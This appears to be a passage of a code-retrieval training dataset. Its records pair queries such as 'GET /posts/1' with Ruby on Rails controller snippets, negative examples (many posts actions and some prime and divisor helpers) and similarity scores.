"def number_of_divisors(num)\r\n\tprime_array = num.prime_division\r\n\tnum_of_divisors = 1\r\n\t(0..prime_array.length - 1).each do |x|\r\n\t\tnum_of_divisors *= (prime_array[x][1] + 1)\r\n\tend\r\n\treturn num_of_divisors\r\nend",
"def prime?(num) \n return false if !num.integer? #integer is # that is not a fraction\n return false if num < 2\n return true if num == 2\n (2..num-1).each {|int| return false if num % int == 0}\n true\nend",
"def anti_prime?(num)\n counter = count_divisors(num)\n counters = []\n \n (1...num).each do |i|\n if i.even? #unnecessary to add .even\n counters << count_divisors(i)\n end\n end\n counters.each do |c| \n if c > counter\n return false\n end\n end\n true\nend",
"def abund? n\n arr = []\n tail = Math.sqrt n\n (1..tail).each do |x|\n if n % x == 0\n arr << x\n arr << n/x\n end\n arr.pop if x*x == n\n end\n n < arr.sum\nend",
"def amicable_numbers(max)\n (1...max).select do |num|\n divisors(num) && num == divisors(divisors(num)) && num != divisors(num)\n end\nend",
"def min_divisible_by_all(num)\r\n (1..num).inject(:lcm)\r\nend",
"def is_prime?(num)\n if num > 2 \n if num % 2 == 0\n return false\n end\n i = 3 # start at 3\n maxn = num**(0.5) # go up to the square root of num\n while i <= maxn\n if num % i === 0\n return false\n end\n i = i+2 # count up by 2 to check only odd numbers\n end\n true\n elsif num == 2 # special case for 2\n true\n else\n false\n end\nend",
"def divisors(int)\n result = []\n 1.upto(int) do |num|\n if int % num == 0\n break if result.include?(num)\n result << num\n result << int / num unless int == num**2\n end\n end\n result.sort\nend",
"def get_divisors(number)\n\tresult = []\n\n \tfor counter in 1..number / 2\n \tresult.push(counter) if number % counter == 0\n \tend\n\n \tresult.push(number)\n \tresult\nend",
"def is_prime_number(num)\n (2...num).all? {|n| num % n != 0}# has factors\nend",
"def prime?(num) \n i = 2 \n number_of_divisions = 0 \n while(i <= num)\n if (num % i == 0)\n number_of_divisions += 1\n end\n i += 1\n end\n if number_of_divisions > 1\n puts \"false\"\n\telse\n\t puts \"true\"\n end\nend",
"def square?(num)\n num >= 0 && (Math.sqrt(num) % 1).zero?\nend",
"def divisible?(num, divisor)\n num % divisor == 0\nend",
"def prime?(number)\n if number <= 1 || (number.to_f != number.to_i)\n return false\n elsif number == 2\n return true\n else\n array = (2..Math.sqrt(number)).to_a\n ## To make this program run faster & solve for exponentially larger primes,\n ## set the array range from 2..√number instead of 2...number.\n ## http://stackoverflow.com/questions/5811151/why-do-we-check-up-to-the-square-root-of-a-prime-number-to-determine-if-it-is-pr\n ## Thanks to my mother, the math teacher!\n array.each do |divisor|\n if ((number.to_f/divisor.to_f) == (number.to_i/divisor.to_i))\n #for divisor in (2...number)\n #if (number.to_f % divisor.to_f) == 0\n return false\n end\n end\n return true\n end\nend"
] | [
"0.77353483",
"0.7687315",
"0.749143",
"0.74655044",
"0.7376728",
"0.73709536",
"0.71986735",
"0.7192984",
"0.71541",
"0.71220297",
"0.71142405",
"0.7105928",
"0.71056366",
"0.7103508",
"0.70737994",
"0.7064795",
"0.7063459",
"0.7057595",
"0.70364887",
"0.70343584",
"0.70222414",
"0.7020437",
"0.70180434",
"0.70058924",
"0.69998026",
"0.69986343",
"0.69909495",
"0.6989447",
"0.69865686",
"0.69811594",
"0.6960129",
"0.6952778",
"0.69515234",
"0.6930518",
"0.69265985",
"0.692432",
"0.69217896",
"0.69124174",
"0.6906432",
"0.6898961",
"0.6898477",
"0.689622",
"0.6877378",
"0.68698394",
"0.68694955",
"0.68689364",
"0.6868752",
"0.6868241",
"0.6860943",
"0.6857898",
"0.6853157",
"0.68496674",
"0.6845414",
"0.6839664",
"0.68205863",
"0.6814158",
"0.6812792",
"0.6808652",
"0.6807186",
"0.68038714",
"0.6803311",
"0.6803075",
"0.6800659",
"0.6798798",
"0.67935055",
"0.6788054",
"0.67870843",
"0.67821634",
"0.6781777",
"0.6779538",
"0.6772039",
"0.676897",
"0.6762404",
"0.6759204",
"0.67552954",
"0.67451864",
"0.6739829",
"0.673529",
"0.67349386",
"0.6731275",
"0.67286485",
"0.6720852",
"0.67179847",
"0.67105114",
"0.6699573",
"0.6695651",
"0.6695224",
"0.66951483",
"0.66917396",
"0.6680304",
"0.66678846",
"0.6664858",
"0.6663777",
"0.66637325",
"0.66628045",
"0.6662486",
"0.66580486",
"0.6657854",
"0.66491765",
"0.66486526"
] | 0.6653555 | 98 |
GET /posts GET /posts.json | def index
@comments = @post.comments.order(created_at: :desc)
render json: @comments, status: :ok
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def index\n render json: Post.all\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def show\n render json: @post\n end",
"def show\n render json: @post\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def show\n render :json => @post\n end",
"def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end",
"def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def index\n @art_posts = ArtPost.all\n\n render json: @art_posts\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts, :include => :tags }\n end\n end",
"def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end",
"def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"def index\n @posts = Post.all\n respond_with(@posts)\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n render json: current_user.posts.all\n # TODO order posts alphabetically\n end",
"def index\n @posts = Post.includes(:author, channel: [:posts]).order(created_at: :desc)\n @posts = @posts.where(channel: @channel) if params[:channel_id]\n @posts = @posts.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render jsonapi: @posts }\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @page = params[:page] || 1\n @posts = @exchange.posts.page(@page, context: 0).for_view\n respond_to do |format|\n format.json do\n serializer = PostSerializer.new(\n @posts,\n links: { self: paginated_json_path(@posts.current_page),\n next: paginated_json_path(@posts.next_page),\n previous: paginated_json_path(@posts.previous_page) },\n include: %i[user]\n )\n render json: serializer.serialized_json\n end\n end\n end",
"def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def index\n respond_with Post.all\n end"
] | [
"0.7865315",
"0.7494904",
"0.7494433",
"0.7494433",
"0.7488696",
"0.74314564",
"0.728645",
"0.728645",
"0.728645",
"0.72562826",
"0.72522277",
"0.7247287",
"0.7246305",
"0.72221965",
"0.72042215",
"0.72039723",
"0.7169929",
"0.71689725",
"0.71644753",
"0.7121855",
"0.71152896",
"0.7108617",
"0.70960873",
"0.7071454",
"0.7063796",
"0.70486146",
"0.7044637",
"0.7029959",
"0.69793427",
"0.6957234",
"0.6945899",
"0.6921306",
"0.6918641",
"0.6897198",
"0.689313",
"0.6890521",
"0.68769336",
"0.6876437",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6856369",
"0.6854135",
"0.68492866",
"0.6837785",
"0.6814047",
"0.67974555",
"0.67884254",
"0.6782457",
"0.6779375",
"0.6779375",
"0.6770256",
"0.67645854",
"0.6760845",
"0.6751376",
"0.6740988",
"0.6720944",
"0.6703801",
"0.66790265",
"0.6662053",
"0.6649574",
"0.66334385",
"0.6629263",
"0.66292495",
"0.6625863",
"0.6625277",
"0.6619148",
"0.6612677",
"0.6612347",
"0.659554",
"0.65946317",
"0.6584386",
"0.6583931",
"0.6578741",
"0.6564504",
"0.6556115",
"0.65437686",
"0.65419716",
"0.65410036",
"0.6528237",
"0.65246344",
"0.6520045",
"0.65119064",
"0.6511185",
"0.64960027",
"0.64946514",
"0.64891815",
"0.6476575",
"0.64645535",
"0.6463598"
] | 0.0 | -1 |
GET /posts/1 GET /posts/1.json | def show
render json: @comment, status: :ok
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n # when you go to http://localhost:3000/posts/1, rails interprets this\n # as a call to the show action for the resource and passes 1 to the \n # :id paramater. Using this blog app you can do that by clicking the \n # show link for a post on the index page.\n\n @post = Post.find(params[:id])\n # The show action uses Post.find to search for a single record \n # in the database by its id value. After finding the record, Rails \n # displays it by using app/views/posts/show.html.erb\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def index\n render json: Post.all\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n render json: @post\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def show\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n render :json => @post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n @post = PostsService.getPostById(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Post.find(:all)\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n #GET a single post by ID\n @post = Post.find(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n @title = @post.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def post(postid)\n request(:id => postid).posts.first\n end",
"def show\n Rails.logger.debug(\"Inside show \")\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @posto = Posto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @posto }\n end\n end",
